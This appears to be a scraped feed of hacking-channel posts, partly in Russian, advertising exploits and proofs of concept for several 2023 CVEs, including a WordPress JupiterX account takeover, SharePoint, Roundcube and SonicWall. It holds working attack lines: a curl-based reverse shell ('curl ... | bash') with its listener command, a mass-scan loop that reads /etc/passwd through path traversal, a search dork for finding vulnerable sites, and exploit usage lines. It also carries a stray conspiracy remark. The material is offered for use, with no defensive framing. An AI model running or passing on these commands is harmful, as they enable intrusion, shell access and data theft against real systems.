CVE-2023-38388
Mass Exploit - CVE-2023-38389 < Wordpress < JupiterX Core < Unauthenticated Account Takeover
Dork : inurl: wp-content/plugins/jupiterx-core/
POC exploit

X64
Hello

мало кто знает, но на самом деле днищще у ЦРУ 11 сентября

Elasticsearch Stack Overflow Vulnerability
CVE-2023-31419 Exploit
👌

curlshell
reverse shell using curl
*
usage:
*
Start your listener:
./curlshell.py --certificate fullchain.pem --private-key privkey.pem --listen-port 1234

On the remote side:
curl https://curlshell:1234 | bash

download

#shell #curl

PhoneSploit Pro
Теперь бгг универсальный (что бы это ни значило)
download

CVE-2023-29357
Microsoft SharePoint Server (2019) Elevation of Privilege Vulnerability
affected from 16.0.0 before 16.0.10399.20005
exploit

CVE-2023-29360
Exploit for MSKSSRV.SYS driver
POC exploit

#lpe #win

CVE-2023-20209
Cisco Expressway
exploit

#cisco

CVE-2023-43770
mail server Roundcube
*
usage:
python cve-2023-43770.py -e attacker@gmail.com -p Attack3rPwd -t victim@example.com
*
POC exploit

CVE-2023-34040
Spring-Kafka-Deserialization RCE
POC

#apacheKafka

CVE-2023-0126
SonicWall SMA1000
File Read Bug
POC:
cat file.txt| while read host do;do curl -sk "http://$host:8443/images//////////////////../../../../../../../../etc/passwd" | grep -i 'root:' && echo $host "is VULN";done